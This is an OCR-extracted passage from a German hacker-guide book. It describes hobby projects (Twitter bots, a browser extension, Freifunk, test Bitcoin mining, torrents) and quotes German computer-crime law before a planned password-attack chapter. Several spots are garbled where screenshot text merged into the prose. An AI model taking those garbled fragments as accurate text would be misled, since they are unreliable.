in richtiger Reihenfol- 

ge angeklickt werden sollen. Ähnlich wie das Spiel "Master- 
mind", nur ohne Farben. 


Als erstes sollte ganz grob klar sein welche Aufgaben erfüllt 
werden müssen, was dich im besten Fall zu einer Art Pro- 


grammablaufplan führt. 


Der grobe Ablaufplan ist folgender: 


ee 


* Neue Runde initialisieren. 


* Gewinnreihenfolge festlegen. 


ee 


* Click Event eines Quadrats. 


* Überprüfung, ob dieses Quadrat in der richtigen Reihen- 
folge angeklickt wurde. 


Le 


* Wenn es das letzte Quadrat war, neues Level starten. 


r 


* Wenn es falsch war, aktive Quadrate zurücksetzen. (Das ist 
der Punkt, der es mega frustrierend macht. Spätestens ab 
Level 5. :D) 
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Mein Ziel war es das innerhalb einer Stunde lauffähig zu be- 
kommen und es hoch zu skalieren, sodass es eine unendliche 
Anzahl an Levels gibt. Hier kommt für jedes Level ein neues 
Quadrat hinzu. Das war es allerdings schon mit der Spieltiefe. 


"Making of" auf YouTube: https://youtu.be/McvUlrjgR_g 
Quelle: https://www.1337core.de/codebreaker/ 


Spaß Projekte 

Hacker/-innen beschäftigen sich mit allem, was ihnen Freude 
bereitet und bauen Dinge nur zum Spaß. Oft werden dabei un- 
geeignete Sachen verwendet. Mein nächstes Beispiel kommt 
genau aus dieser Kategorie. Direkt nachdem ich herausgefun- 
den habe, wie ich die Twitter API (= Programmschnittestelle) 
nutzen kann, wollte ich etwas damit bauen. 


Textadventure 

Ich bin ein großer Fan von Textadventures. Die gibt es in meh- 
reren Varianten. Zum Beispiel als interaktive Geschichte, bei 
der Optionen vorgegeben werden oder direkt mit Befehlseinga- 
be. 


Nachdem ich eine interaktive Geschichte gebaut hatte, wofür es 
übrigens auch Communities und offene Tools im Internet gibt, 
widmete ich mich den RPGs (= Rollenspiele). Die Idee war ein 
Chatbot als Eingabe eines Dungeon Spiels. Per direkter Nach- 
richt auf Twitter können Befehle gesendet werden und alles, 
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was passiert, wird in Direktnachrichten kommuniziert. Im Dun- 


geon gibt es Kisten, Heiltränken, normale Gegner, stärkere 


Gegner und starken Bossen, Waffen, kritischen Treffern und 


eine Webseite mit Karte. 


Die Befehle zur Steuerung werden als privater Nachricht dem 


Bot auf Twitter geschickt. 


KR X RR RR RR 


start = Beginnt das Spiel (Neustart nach dem Tod). 
löschmich = Dungeon verlassen. 

hilfe = Die Kurzhilfe. 

links = Im Dungeon bewegen. 

rechts = Im Dungeon bewegen. 

hoch = Im Dungeon bewegen. 

runter = Im Dungeon bewegen. 

umsehen = Was siehst du? Wo bist du? Gibt es Loot? 
heilen = Heilt dich direkt um +20HP wenn du vorher 
eine Heldentat vollbracht hast! 

beten = Wirf deine Waffe weg und hoffe darauf, den 
nächsten Angriffen auszuweichen. 

trinken = Heiltrank am 


Die Karte 
Tisch trinken. 


Zur Orientierung: Der Spawn (x1y1) ist oben links. 


öffnen = Truhe öffnen. 
nehmen = Gegenstän- 
de auf dem Boden oder 
aus einer Truhe neh- 
men und ausrüsten. 


Der Twitter Textdungeon ist aufgebaut wie ein "Idle Game". Es 
passiert vieles automatisch. Es wird automatisch gegen ein 
Monster auf dem gleichen Feld gekämpft. Alle drei Minuten be- 
rechnet sich der Schaden und du erhältst eine Nachricht wie 
stark dein Angriff war und wie viel du einstecken musstest. 


Im Grunde müssen die Spieler/-innen entscheiden auf welchem 
Feld sie bleiben und wenn sie in einem Kampf sind, zwischen- 
durch heilen. 


Die Spieler starten oben links und sollen rechts zur Anfänger- 
truhe gehen. Dort können sie sich das Anfängerschwert besor- 
gen. Unter dem Start gibt ——— 
es einen Heiltrank, der | Won una ir nn 
dich nichts kostet. "Be- 


zahlt" wird übrigens in 


umsehen 


Du kämpfst gegen Verfaultes Skelett. 


Heldentaten. Das sind 


Aaah, es beißt dich! 


nichts anderes als gewon- Deine Gesundheit liegt bei 720. 
a Du warst stärker als Verfaultes Skelett! 


nene Kämpfe. Im Dungeon 
gibt es eine S chmiede, bei Im Werten I ana Schmiede. Dort kannst du dir ein 


. . . Hier liegt diese Waffe: ® Trommel des Todes 30%. 
der sich ein Schild kaufen 2. Angri it kitischl 

” Willst du sie /nehmen? 
‚Auf dem Boden ist etwas eingeritzt: x2y4. 


oder ein Zauberspruch (= 
Waffe) lernen lässt. Jede Du kämpfst gegen Stinkender Troll. 


Autsch! Voll zwischen die Augen. 
Waffe hat eine Heilungs- Deine Gesundheit liegt bei 79 U. 


Du warst stärker als Stinkender Troll! 


chance und kritische Tref- 


ferchance, die im Kampf 
langsam abgenutzt wird. Starke Gegner lassen Loot (nur Waf- 
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fen) fallen, die auf den jeweiligen Feldern aufgehoben werden 
können. 


Auf einem Feld gibt es eine Truhe, die immer wechselnde Waf- 
fen enthält. Sobald das Bossfeld leer ist, wird dort ein neuer 
Boss mit weiteren Gegnern erscheinen. 


Das ist ein kleiner Prototyp, den ich immer mal wieder zwi- 
schendurch pflege. Es haben immerhin 30 Leute ausprobiert 
und sind elendig im Dungeon gestorben. Das Spiel: https:// 


textdungeon.glitch.me. 


Ich habe noch ein weiteres kleines Twitter-Projekt speziell für 
dieses Buch programmiert. 


Twitter To Keyboard 

Vielleicht kennst du bereits das Projekt, bei dem ein Fisch auf 
der Streamingplattform "Twitch" in seinem Aquarium gezeigt 
wurde. Auf seinem Aquarium waren Rechtecke gezeichnet, die 
dann als Controller Eingaben für ein Videospiel benutzt wur- 
den. Der magische Suchbegriffe für die datenschutzfreundliche 
Suchmaschine deiner Wahl lautet: "Fish Plays Pokemon". Das 
Prinzip wird dabei klarer, wir nutzen Eingaben aus einer Quel- 
le, die eigentlich nicht dafür gedacht sind und das ist hoffent- 
lich unterhaltsam. In meinem ersten Test wollte ich es nur aus- 
probieren. 


* Fingabequelle finden. 
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* Ein Spiel finden, dass mit relativ wenigen Eingaben aus- 
kommt. 

* Controller Eingaben zuweisen. 

* Testen. 

* Ganz viel testen, damit es irgendwie interessant wird. 


Da ich gerne als einfaches Experiment starte, suche ich im ers- 
ten Schritt nach einem Tool, das es mir erlaubt meine Tastatur 
Eingaben programmierbar in ein Spiel zu bekommen. Es auch 
bestimmte Engines und wenn ich Lust hätte mich da einzule- 
sen, würde das bestimmt auch funktionieren, aber ich will es 
möglichst schnell und kurz halten. 


Also mache ich die einfache Variante: Wie kann ich meine Tas- 
tatur Eingaben programmieren? Da fand ich recht schnell "Ro- 
botJS". Wie der Name schon verrät, ist es in JavaScript ge- 
schrieben. 


Desktop Automation. Control the mouse, keyboard, and read the 


screen. ... RobotJS supports Mac, Windows, and Linux. 

Das passt. 

Mein ursprünglicher Plan war es einen alten Emulator sowie 
mein Script zu starten und es das Spiel steuern zu lassen. Wenn 


Tastatureingaben aus einer unsicheren Quelle benutzt werden, 
sei es auch nur links, rechts, oben, unten oder "Enter", würde 
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ich das trotzdem nicht unbeaufsichtigt lassen. Als dauerhaftes 
Projekt müsste ich mir zusätzliche Gedanken machen. 


Irgendwo soll am Ende das Spiel laufen. Nur wo? Entweder in- 
stalliere ich dafür einen Emulator oder versuche mein Glück 
mit dem MS-DOS Emulator von archive.org. Dort können kos- 
tenlos alte Spiele gespielt werden. Ich wusste auch lange nicht 
welches Spiel dafür geeignet ist. Es gibt Projekte wie "Twitch 
plays Pokemon", aber selbst dort wissen die "Zuschauer/-innen" 
immerhin was sie tun. 


Twitter hat eine Stream API, die ich auf einen Hashtag filtern 
kann, sodass nur öffentliche Tweets mit diesem Hashtag beach- 
tet werden. Ich starte meinen "stream" und es kommt alles an, 
was in Echtzeit mit diesem Tweet getwittert wird. Das Problem 
dabei ist, dass es darüber nicht absichtlich gespielt werden 
kann. Doppelte Tweets und ähnliche Tweets erkennt Twitter 
direkt als Spam. 


Ich hatte in meinem ersten Prototyp sogar eine "Multiplayer" 
Funktion, um bei "Streetfighter" gegeneinander zu kämpfen. Es 
ist auch kein Wunder, dass oft Pokemon für dieses Konzept be- 
nutzt wird. Bei Pokemon kann ein/-e Spieler/-in nicht "Game 
over" sein. Es läuft auch keine Zeit. Außerdem sind die Kämpfe 
rundenbasiert und es braucht kein Timing, wie bei Streetfigh- 
ter. 
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Nachdem ich viel ausprobiert hatte, entschied ich mich für GTA 
1 auf dem Gameboy. Das Spiel ist recht offen und es gibt nur 
wenige Eingabemöglichkeiten. Außerdem kann ein Spieler 
nicht allzu viel falsch machen. In meiner Konfiguration kann 
ich die Schlüsselwörter auf die entsprechenden Knöpfe zuwei- 
sen. 


Ich werde das ganze in einer Ubuntu VM starten. Also Ubuntu 
laden. Virtuelle Maschine erstellen. Ubuntu installieren. Danach 
RobotJS zum Laufen bewegen. 


Dafür brauche ich "nodeJS" und "npm". Beides kann ich mit 
"apt install“ installieren. Wenn das funktioniert hat, starte ich in 
meinem Projektordner "npm install" und warte bis es hoffent- 
lich fehlerfrei installiert wurde. Mein Script selbst starte ich mit 
"node index.js". 


GTA 1 läuft glücklicherweise in einem Browser, also starte ich 
Firefox und öffne die URL für das Spiel. Starte mein Script, set- 
ze den Fokus auf das Spiel, sodass die Tastatureingaben dort 
auch eingegeben werden und schaue was passiert. 


Ich war schon sehr froh, dass hier RobotJS ohne Probleme 
läuft, doch erstmal passiert nichts. Ich hatte #GTA als Hashtag 
gewählt und es kommen zu wenige Tweets. Nachdem ich es auf 
#RT wie Retweet geändert hatte, kamen unfassbar viele Spam- 
Tweets rein. Ich hatte die Idee, dass ich auf mehrere Hashtags 
"hören" kann, aber das funktioniert leider nicht, da meckert die 
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Twitter API. Es ist nur ein Stream erlaubt. Nach einigen Tests 
und dem Nachlesen in der Dokumentation fand ich heraus, 
dass dort auch normale Suchbegriffe mit Komma funktionieren. 


Grand Theft Auto Advance (GTA) - GBA Game Online - Play Emulator - Mo... 


Q@ Grand Theft Auto Advan x 


Game Information 


Jede Eingabe wird eine Sekunde ausgeführt, dadurch geht der 
Spieler auch ein Stück in eine Richtung, wenn der richtige But- 
ton erkannt wurde. Die Tweets lassen sich auch auf deutsche 
Tweets einschränken, dann brauche ich allerdings auch andere 
Begriffe, damit überhaupt etwas passiert. Die Aktionstasten 
nimmt er sich auch auf den gefundenen Tweets. 


Wenn ich auf die deutsche Sprache einschränke und nach Wör- 
tern wie "links", "rechts", "oben" und "unten" filtere, gibt es 
ständig Eingaben. Das liegt an vielen politischen (links, rechts) 
Diskussionen und Propaganda auf Twitter. Das GTA-Projekt 
passt perfekt zur Twitter Kultur: Wild von links nach rechts zu 
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laufen und dabei um sich zu schlagen. Das fasst politische Dis- 
kussionen auf Twitter auch gut zusammen. 


Wie auch immer. Das Script läuft. Ich zeichne mein Häkchen in 
meine imaginäre Liste. Der Code landet wie immer auf Github: 


https://github.com/Leetcore/wie-werde-ich-hacker/tree/mas- 
ter/scripts/twittertokeyboard 


Firefox Erweiterung 

Browser-Erweiterungen sind normalerweise kleine Tools, die 
das Leben leichter machen sollen. Als ich mich mit Chrome Er- 
weiterungen beschäftigte, wollte ich einen Facebook Hasskom- 
mentar-Konverter bauen. Der sollte aus dummen Kommentaren 
auf Facebook irgendetwas lustiges machen. Damals, als Face- 
book von meiner Generation noch ernsthaft genutzt wurde. 


Die Erweiterung war bereits im Chrome Store, wurde allerdings 
ungefähr ein halbes Jahr später entfernt, weil darin eben "Face- 
book" im Namen stand. Das könnte den Eindruck erwecken, 
dass es sich um eine offizielle Erweiterung von Facebook han- 
delt. Als wäre Mark Zuckerberg morgens aufgestanden, hätte 
ein paar Runden in seinem Goldspeicher gedreht und wäre 
dann auf die Idee gekommen aus dem Hassproblem auf seiner 
Plattform einen mäßigen Witz zu machen. 


Es ist an der Zeit den Code zu überarbeiten, also schaue ich mir 
den Code von damals an und werde die Erweiterung für Firefox 
anpassen. Der erste Schritt ist wie immer: Eine Suchmaschine 
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bedienen, um herauszufinden wie es überhaupt funktioniert. 
Ich versuche es mit "firefox extension develop" und lande auf 
einem alten Artikel des Mozilla Blogs. Glücklicherweise steht 
dort schon ein Hinweis, dass dort noch die alte Methode be- 
schrieben wird und das System sich geändert hat. Sogar mit 
einem Verweis auf den neusten Inhalt. Mozilla pflegt ihre Inhal- 
te ziemlich gut. Hut ab. 


Ich finde die Extension Seite in den "MDN web docs". Der Auf- 
bau sollte ähnlich zu den Chrome Extensions sein. Es gibt eine 
manifest.json, in der das Script und die Berechtigungen einge- 
tragen werden. Ich kopiere zuerst meinen Code, der jetzt 4 Jah- 
re auf dem Buckel hat, in einen Ordner und schaue mir gleich 
an welche Fehlermeldungen mir Firefox um die Ohren wirft. 


Ich lese weiter in der Anleitung und öffne wie gewünscht die 


interne Seite im Browser mit "about:debugging#/runtime/this- 


firefox". Öffne ein "temporäres Add-on" und wähle mein mani- 
fest.json aus. 


* Adresse eintippe: about:debugging#/runtime/this-firefox. 


* Temporäres Add-on. 
* Manifest.json auswählen. 


Das alte Script läuft leider nicht mehr. Das ist aber auch kein 
Wunder, weil sich das HTML auf Facebook geändert hat. Also 
muss ich das Script nochmal anpassen. Zuerst teste ich in den 
Firefox Entwickler Tools welchen Selektor ich schreiben muss, 
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um den Inhalt eines User Posts zu bekommen und die Kommen- 
tare dafür. Sobald das funktioniert starte ich einen weiteren 
Test. Dazu muss ich nur meine JavaScript-Datei bearbeiten, 
speichern und in about:debugging "Neu laden" anklicken. 


* JS Datei ändern. 
* JS speichern. 
* In Firefox about:debugging öffnen. 


Je 
“ 


"Neu laden" anklicken. 


In meinem alten Code war ein Fehler drin, bei dem ich mich 
fragen muss, wieso das überhaupt irgendwann mal funktioniert 
hat. Das ist übrigens der Klassiker. Aber vermutlich ist der Code 
nicht auf dem gleichen Stand wie die Erweiterung damals. Wie 
auch immer, das ignoriere ich und repariere es. 


In der Manifest-Datei wird angegeben auf welchen Webseiten 
dieses Script gestartet wird. Das lässt sich auch recht schnell 
auf Twitter anpassen. Also schaue ich mir das Twitter HTML an 
und schaue dort, wie ich an die Tweets komme. 


Dort ist es schwieriger geeignete Selektoren zu finden. Hier 
werden konsequent alle Klassen in zufällige Werte umgeschrie- 
ben. Das liest sich dann so: "css-901oao r-jwli3a r-1qdOxha". 
Was ich brauche ist ein Merkmal, dass es sich bei dem Inhalt 
auf der Webseite um einen Tweet handelt. 
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Plötzlich erinnere ich mich daran, dass ich genau dieses Pro- 
blem vor 4 Jahren bereits hatte und deshalb nach einer besse- 
ren Lösung gesucht habe. Dabei hatte ich mich damals mit dem 
Treewalker beschäftigt und ein "Deutsch > Vong" Übersetzer 
für jede Webseite gebaut. "Vong" ist eine lustig-gemeinte Varian- 
te der deutschen Sprache. Eine Verballhornung von Fehlern. 
Wenn ich den Hasskommentar-Konverter in die neuere Erweite- 
rung einbaue, löse ich mein Problem mit diesen Merkmalen 
und der Konverter funktioniert auf jeder Webseite. Nicht nur 
auf Facebook und Twitter. Hasskommentare gibt es schließlich 
auch überall im Internet. 


Der Plan steht. Wir schreiten zur Tat. 


Ich kopiere meine Hasskommentar-Änderungen in den VONG- 
Konverter. Zack, fertig. Funktioniert direkt. Das war einfach. 
Hätte ich das vor zwei Stunden gemacht, wäre es auch okay 
gewesen. Da dieser Text-Konverter auf jeder Webseite läuft, 
kann ich die Erweiterung auch wieder in den Chrome Store 
hochladen. 


Firefox: https://addons.mozilla.org/de/firefox/addon/hass- 
kommentar-vong-konverter/ 

Chrome: https://chrome.google.com/webstore/detail/hass- 
kommentar-%2B-vong-konv/lhgjekligfidhpbmplbkpljhahjiikjo/ 


related 


Hier ein Beispiel des Konverters auf tagesschau.de: 
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W, 


WERTEUNION | 


WIR BEWEGEN POLITIK | 


Koalitionsausschuss zu Thüringen Kritik an CDU-Werteunion 

Dis SPD han Realtalksbedarf "Hobby-Nazi-Partei-Hilfstruppe" oder "Basisbewegung"? 

Welche Konsequenzen müssen nach dem Thüringen-Debakel gezogen werden? Darüber Dis Krise in Thüringen han tiefe Gräben innerhalb dem CDU aufgezeigt: In dem Partei 

berät heute dem Koalitionsausschuss. Dis SPD fordert vong dem CDU 1 klare Abgrenzung werden Rufe lauter, dis sogenannte Werteunion aufzulösen. Dis konservative Gruppe wehrt 
zur Hobby-Nazi-Partei - umd fordert auch personelle Konsequenzen. Vong Lothar Lenz. sich. Dem Ton isd scharf. Auf beiden Seiten. | mehr 

| mehr 


Code: https://github.com/Leetcore/Hasskommentar-Konverter 


Autonomie 

In Hacker-Guides taucht immer wieder das Thema Selbstbe- 
stimmung auf. Dabei geht es oft um selbstbestimmte Arbeit 
oder zumindest nach der Arbeit die eigenen Projekte voran zu 
treiben. Autonomie wird leichter durch Nachhaltigkeit. Das be- 
deutet z.B. alte Computer entweder zu verkaufen oder zu 
spenden und möglichst stromsparend damit umzugehen. Ich 
würde auch ein ordentliches Solarpanel dazu zählen, wenn es 
ein Smartphone oder Tablet laden kann. Etwas mit einer Anlei- 
tung aus dem Internet zu reparieren, statt es neu zu kaufen. 
Alles, was Abhängigkeit reduziert, wird gerne gesehen. 


Freifunk 

Das Schützen der offenen Internet Infrastruktur oder der Auf- 

bau einer alternativen Struktur ist ein wichtiger Bereich. Mit 

einem Freifunk-Router können Netzwerkverbindungen zwi- 
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schen den Routern als Mesh (= Maschennetz) aufgebaut und 
ein Internetzugang geteilt werden. Durch den VPN Tunnel 
funktioniert das sogar ohne Störerhaftung (= Haftung des Rou- 
terbesitzers). Die Installationsanleitung des Freifunk-Routers ist 
ein gutes Beispiel für eine ordentliche Dokumentation. 


Ich habe mich für den TP-Link TL-WR940N entschieden, haupt- 
sächlich weil er von dem Freifunk Projekt empfohlen wurde 
und noch dazu günstig ist. 


Die Installationsanleitung auf und lesen. Ein Blick auf die Rück- 
seite des Routers verrät mir welche Version ich herunterladen 
muss. Bei mir steht "Ver. 6.1", also lade ich auf der Freifunk 
Webseite die Version 6 herunter. 


* Router anschließen per LAN. 

* Webseite aufrufen: 192.168.0.1. 

* Username: admin. 

* Passwort: admin. 

* Systemtools > Firmware. 

* Freifunk Datei auswählen und hochladen. 
* Auf Neustart warten. 


Die offizielle Anleitung hat auch hübsche Fotos und zeigt dir 
genau welches Kabel in welchen Port gehört. Nachdem das Ge- 
rät neugestartet hat, ist auch schon das WLAN verfügbar. Wenn 
nun ein Internet-Router angeschlossen wird, kann über diesen 
Knoten auch gesurft werden. 
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Bitcoins 

Das ist ein gutes Beispiel, wie eine utopische Idee innerhalb von 
zehn Jahren komplett von dem bestehenden System geschluckt 
wird. Bitcoins wurden zum Spekulationsobjekt und statt dem 
regen Austausch wird es hauptsächlich benutzt, um damit seine 
Bankwährung zu vermehren. Es gibt wenige Dienste die Bitco- 
ins akzeptieren und selbst die, die es tun, tun es nur, weil sie es 
wieder teurer an Spekulanten verkaufen können und nicht weil 
es danach weiter in den Umlauf kommt. 


Auf dem Schwarzmarkt wird es benutzt, weil es eine pseud- 
onyme Digitalwährung ist. Aber Bitcoins schürfen lohnt sich 
eben nur, wenn am Ende die Stromrechnung explodiert. Es 
wird also viel Strom gegen eine digitale Währung getauscht, 
mit der der Nutzer leider praktisch wenig anfangen kann, au- 
ßer sie eben wieder gegen Realwährung zu verkaufen. 


Ich bin deshalb skeptisch, was den ethischen Bereich angeht, da 
wurde eigentlich nicht viel gewonnen. Aber das ist auch nur 
meine Meinung. Als mögliches Projekt hatte ich nach einem 
Bitcoin Mini-USB-Miner geschaut. Mit einem Mini-USB-Miner 
kommt $1US an Bitcoin-Dollar-Wert pro Monat heraus, wenn 
ein einziger Miner 24 Stunden und 7 Tage die Woche läuft. So 
richtig Lust dafür Geld auszugeben hatte ich auch nicht, vor al- 
lem wenn sich das Gerät erst nach einem halben Jahr über- 
haupt selbst bezahlt. Es kann nicht einmal mit Bitcoins im In- 
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ternet bestellt werden, was das eigentliche Problem gut zu- 
sammenfasst. ;) 


Auf einem Raspberry Pi lässt sich auch mit der CPU Kryptowäh- 
rung minen. Die CPU ist sowieso zu langsam und der Raspber- 
ry Pi hat kaum Power. Neben Bitcoins gibt es aber auch über 
100 andere Kryptowährungen. Das lohnt sich derzeit genauso 
wenig, aber ihr könnt auch darauf hoffen, dass andere Wäh- 
rungen den gleichen Hype erfahren. Wer früh einsteigt hat am 
Ende mehr Coins. Obwohl ich den Quatsch verabscheue instal- 
liere ich mir einen kleinen Coin Miner. Einfach nur um es abzu- 
haken. 


Eine Internetsuche wird mir hoffentlich ein einigermaßen nütz- 
liches Tool bringen mit dem ich Bitcoin Mining starten kann, 
nur um es danach wieder zu deinstallieren. Ich öffne die offizi- 
elle Bitcoin Webseite und schaue mir an welche Tools es für Li- 
nux gibt. Ich brauche eine Wallet und einen Miner. 


Die offizielle Webseite spuckt mir "Electrum" als Bitcoin Wallet 
aus. Dort auf der Projekt Webseite gibt es verschiedene Varian- 
ten zum Starten. Ich installiere das ganze auf einer Ubuntu VM. 


Electrum binaries are often flagged by various anti-virus software. 
There is nothing we can do about it, so please stop reporting that 
to us. Anti-virus software uses heuristics in order to determine if a 
program is malware, and that often results in false positives. If 


you trust the developers of the project, you can verify the GPG si- 
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gnature of Electrum binaries, and safely ignore any anti-virus 


warnings. 


Mh, okay. 


Nachdem ich es mühevoll mit Python und der Anleitung auf der 
Webseite installiert habe, fällt mir auf, dass es das Paket auch 
im "Ubuntu Store" gibt. Das ist noch einfacher, also wähle ich 
dort "Electrum", installiere es und starte die Software. Mit dem 
kleinen Setup wird relativ gut erklärt, wie ich meine Wallet 
schützen könnte. Das ist mir aber egal und ich klicke mich ein- 
fach durch. Sobald die Software eingerichtet ist, kann ich bei 
"Empfangen" die Adresse meiner Wallet sehen. 


Jetzt fehlt noch der Bitcoin Miner. Ich will den CGminer instal- 
lieren. Als erstes schaue ich in den Store, aber dort ist nur ein 
Monitoring Plugin dafür. Ich versuche es direkt im Repository. 


Shell auf und tippen: 


>>> apt search cgminer 


Es erscheint ein Ergebnis. Wunderbar, dann installiere ich es: 


>>> sudo apt install cgminer 


Ich starte es, indem ich "cgminer" in die Shell tippe. Die Soft- 
ware jammert, dass ich keinen Hardware Miner angeschlossen 
habe und ich ignoriere es. Danach wird nach einem "Mining 
Pool" gefragt. Dort können viele Geräte gebündelt werden, die 
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sozusagen zusammen minen und sich die Gewinne teilen. Vor 
allem gewinnt der Pool-Betreiber dabei. 


Ich melde mich bei Slushpool mit einer falschen E-Mailadresse 
an. Danach lande ich in einem leeren Dashboard. Schließlich 
habe ich auch noch keinen Miner eingerichtet. Wie ich über- 
haupt irgendetwas einrichte wird nicht erklärt. Meine Laune 
hat bei diesem Projekt schwach angefangen und besteht jetzt 
aus einer Mischung zwischen Abscheu und Hass. 


Die Software will immer noch eine Url, danach Login und 
Passwort. Es wird keine Kombination angenommen. Ich mache 
das einzig Richtige und suche im Internet "slushpool cgminer". 


In einem Suchergebnis finde ich schnelle eine Zeile, die ich ver- 
stehen und anpassen kann: 


>>> cgminer --userpass userID.workerID:any-password --url 


stratumttcp: //stratum.slushpool.com:3333 


Damit startet zumindest irgendetwas: 


cgminer version 4.9.2 - Started: [2020-01-09 21:24:01] 


Started cgminer 4.9.2 
[2020-01-09 21 No devices detected 
[2020-01-09 21 Waiting for USB hotplug devices or press q to quit 
[2020-01-09 21 0] Probing for an alive pool 
Pool © difficulty changed to 8192 
09 21:24:01] Network diff set to 13.8T 
[2020-01-09 21:24:38] Pool © difficulty changed to 1638 
[2020-01-09 21:24:38] Stratum from pool © requested work restartl 
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Es scheint zu funktionieren. Ich akzeptiere das als Ergebnis und 
suche mir wieder eine Aufgabe die mir auch wirklich Spaß 
macht. Die VM setze ich zurück auf den "Setup" Zustand, womit 
auch meine Wallet und der Miner gelöscht sind. 


Torrents 

Wer Daten dezentral veröffentlichen und verteilen möchte, der 
nutzt dazu Torrents. Alle IPs sind bei Peer 2 Peer sichtbar. Wer 
hier illegale Inhalte verbreitet und seinen privaten Anschluss 
benutzt, wird unangenehme Post bekommen. 


Als kleines Projekt schlage ich einen Raspberry Pi vor, der Tor- 
rents von einem USB-Stick seedet (= für andere verfügbar 
macht). Ich mache die einfache Variante und installiere zuerst 
Raspbian. Dort kann "Transmission" über Start > Einstellungen 
> "Add / Remove Software" hinzugefügt werden. Transmission 
eintippen, suchen lassen und den Bittorrent Client installieren 
mit "OK". 


Wenn du Transmission immer im Hintergrund laufen lassen 
willst und von einem anderen Computer aus Torrentfiles herun- 
terladen möchtest, dann muss der Transmission-Daemon instal- 
liert werden. Ich will es erstmal nicht automatisieren, mir reicht 
es, wenn ich es starten kann und es läuft. In Transmission lässt 
sich auch eine externe Festplatte als Speicherort angeben. 
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Welche Torrents könnten wir weiter verbreiten? Verschiedene 
Linux Distributionen z.B. Ubuntu, Kali Linux oder Raspbian. 
Das ist ein einfaches Setup um dir einen Mirror für diese 
Images zu bauen. 


Wikipedia Backup 

Wikipedia ist sehr wichtig, weil sie Wissen frei verfügbar macht. 
Es wäre doch schön, wenn ich das mitnehmen könnte. Es gibt 
Möglichkeiten Wikipedia selbst automatisch herunterzuladen 
und offline zu lesen. 


Die altmodische Variante ist eine Installation des MediaWiki. 
Also befeuern wir unsere VM, denn wir installieren einen Web- 
server und wollen Wikipedia offline lesen. 


* XAMPP herunterladen. 

* Server starten. 

* Media Wiki herunterladen. 

* Installationsanleitung folgen. 

* Aktuellen Wikipedia XML Dump herunterladen. 


Die aktuellen, deutschen Inhalte lassen sich auf: https://dump- 
s.wikimedia.org/dewiki/ herunterladen. 


Wenn der XAMPP Server läuft, muss mindestens noch php-xml 
und php-bz2 installiert werden. Das geschieht wie immer mit 
"apt-get install php-xml" usw. Zwischendrin kam noch eine Feh- 
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lermeldung, dass mir eine weitere PHP Extension fehlt. Diese 
habe ich auch noch nachinstalliert. 


Wer den Installationsmarathon geschafft hat und es auch ge- 
schafft hat in XAMPP die Module zu aktivieren, der kann den 
Import starten. Das sollte mit folgender PHP Datei funktionie- 
ren: /lampp/htdocs/wiki/maintenance/importDump.php. 


Doch leider scheitere ich ständig daran, dass das Script die Ver- 
bindung nicht hinbekommt. Was allerdings ungewöhnlich ist, 
denn genau die Einstellungen werden für das Wiki benutzt. Das 
Script hat die Config-Datei des Wikis, aber startet den Import 
nicht. 


Ich könnte jetzt in dem PHP-Script auf die Suche nach dem 
Problem gehen, aber seht mir es nach. Projekte beerdigen, weil 
es weniger Spaß machte als ich gehofft hatte. Das ist auch ein 
Ergebnis. Leider kann ich mit den derzeitigen Script keine ei- 
gene Wikipedia Seite aufbauen. Aber warum mache ich es so 
kompliziert? Kiwix ist ein Offline-Reader, der für Wikipedia 
entwickelt wurde. Die Wikipedia Backups lassen sich auch per 
Torrent weiter verbreiten. Das wäre etwas für den Raspberry Pi 
mit externer Festplatte. 


Kommen wir zum Bereich Informationssicherheit. Hacker/-in- 
nen, die mit irgendwelchen Tricks an Daten kommen, die ei- 
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gentlich nicht für sie bestimmt sind. Das ist der Bereich, den ich 
am Spannendsten finde. Vorher ein paar Verhaltensregeln in 
Form von Gesetzen. 


Hackerparagraph! 

Der sogenannte Hackerparagraph stellt das "Vorbereiten des 
Ausspähens und Abfangens von Daten" unter Strafe. Aber es 
gibt auch viele andere Computerstraftaten: 


8 202a Ausspähen von Daten 

(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, 
die nicht für ihn bestimmt und die gegen unberechtigten Zu- 
gang besonders gesichert sind, unter Überwindung der Zu- 
gangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei 
Jahren oder mit Geldstrafe bestraft. 

(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektro- 
nisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar 
gespeichert sind oder übermittelt werden. 


Alles, was eine Zugangskontrolle, Login oder Sicherheitsabfrage 
hat, kann uns gefährlich werden. Wie das funktioniert erkläre 
ich bei "Password Attacks". Wir können das mit bereits geleak- 
ten Daten oder eigenen Testsystemen legal ausprobieren. 


8 202b Abfangen von Daten 

Wer unbefugt sich oder einem anderen unter Anwendung von 

technischen Mitteln nicht für ihn bestimmte Daten (8 202a Abs. 
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2) aus einer nichtöffentlichen Datenübermittlung oder aus der 
elektromagnetischen Abstrahlung einer Datenverarbeitungsan- 
lage verschafft, wird mit Freiheitsstrafe bis zu zwei Jahren oder 
mit Geldstrafe bestraft, wenn die Tat nicht in anderen Vorschrif- 
ten mit schwererer Strafe bedroht ist. 


Alles, was auch unter Sniffing oder WLAN-Hacking fällt. Beides 
können wir im eigenen Netzwerk testen. 


Danach kommt der berühmte Hackerparagraph. 


8 202c Vorbereiten des Ausspähens und Abfangens von Da- 
ten 

(1) Wer eine Straftat nach 8 202a oder & 202b vorbereitet, in- 
dem er 

1. Passwörter oder sonstige Sicherungscodes, die den Zugang 
zu Daten (8 202a Abs. 2) ermöglichen, oder 

2. Computerprogramme, deren Zweck die Begehung einer sol- 
chen Tat ist, 

herstellt, sich oder einem anderen verschafft, verkauft, einem 
anderen überlässt, verbreitet oder sonst zugänglich macht, wird 
mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe be- 
straft. 

(2) 8 149 Abs. 2 und 3 gilt entsprechend. 


Hiermit sind Computerprogramme illegal, die Passwörter oder 
Logins umgehen oder knacken wollen. Wir werden später ein 
Script schreiben, was automatisch Passwörter auf Webseiten 
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ausprobiert. Einmal in Python und einmal direkt im Browser. 
Das Motiv spielt hier eine sehr wichtige Rolle: Ich will damit 
zeigen wie solche Programme arbeiten. Es gibt auch noch ande- 
re Straftaten im Computerbereich. Zum Beispiel Sachbeschädi- 
gung, also Computersabotage oder Betrug. 


8 303a Datenveränderung 

(1) Wer rechtswidrig Daten (8 202a Abs. 2) löscht, unterdrückt, 
unbrauchbar macht oder verändert, wird mit Freiheitsstrafe bis 
zu zwei Jahren oder mit Geldstrafe bestraft. 

(2) Der Versuch ist strafbar. 

(3) Für die Vorbereitung einer Straftat nach Absatz 1 gilt 8 
202c entsprechend. 


8 303b Computersabotage 

